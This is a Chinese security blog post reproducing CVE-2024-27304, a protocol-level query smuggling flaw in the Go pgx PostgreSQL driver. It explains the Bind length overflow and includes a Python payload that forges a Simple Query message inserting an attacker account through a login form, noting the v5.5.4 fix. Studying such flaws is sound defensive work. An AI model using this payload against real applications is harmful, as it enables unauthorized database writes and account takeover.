Skip to content
Kurisu
Go back

SQL 注入没死:pgx 协议层走私查询

「预编译了就 100% 防住注入?」DEF CON 32 议题《SQL Injection Isn’t Dead: Smuggling Queries at the Protocol Level》(Paul Gerste)复现:CVE-2024-27304,pgx(Go 最流行的 PostgreSQL 驱动)协议消息长度溢出——预编译防不住协议层走私。

0x01 场景:预编译下的一切都”没戏”

靶场是 Go + PostgreSQL 登录应用(pgx v5.5.3,受影响版本):

// 用户名密码全部走 placeholder,传统注入语法层面无懈可击
SELECT COUNT(*) FROM users WHERE name = $1 AND password = $2

攻击者想往 users 表插一行(注册个”管理员”),但输入只当成字符串参数——教科书结论”预编译 = 安全”。

0x02 原理:协议层的两条消息路径

PostgreSQL wire protocol 有两种参数化消息序列:

pgx 默认走 P+B,但 Bind 的长度字段是 int32:参数长度构造到总长溢出((1<<32) - adjust_size 填充)时,消息切分器错位,剩余字节被当成一条全新的 Q 消息解析——走私的第二条 SQL 就此”越狱”:

query = b'INSERT INTO users(name, password) VALUES($$attacker$$, $$pass$$)\x00'
query_message = b'Q' + (len(query) + 4).to_bytes(4, 'big') + query

# 用名字参数携带伪造消息 + 4GB 填充顶爆长度字段
malicious = urllib.parse.quote(query_message) + 'A' * ((1<<32) - adjust_size - len(query_message))
payload = f'name={malicious}&password=abc'   # POST /login

两个细节:

本质还是混淆数据与代码:长度溢出让解析器把数据段解释成命令消息。

0x03 这类漏洞的通用套路

抽象成:

应用向协议 A 发”结构 + 数据”,数据里嵌套协议 B 的消息——两侧对”边界”判定不一致(长度溢出、转义不彻底、编码歧义)时,数据就能升格为结构。

同议题还有 HTTP 降级走私(CL/TE 差分)。防御共同答案:驱动/协议库保持最新(pgx v5.5.4 修复长度校验)。

0x04 复现要点

相关旧文


Share this post:

Previous Post
FreeMarker 模板注入与积木报表 CVE-2023-4450
Next Post
SRC 信息收集自动化工具:从 2 小时到 30 分钟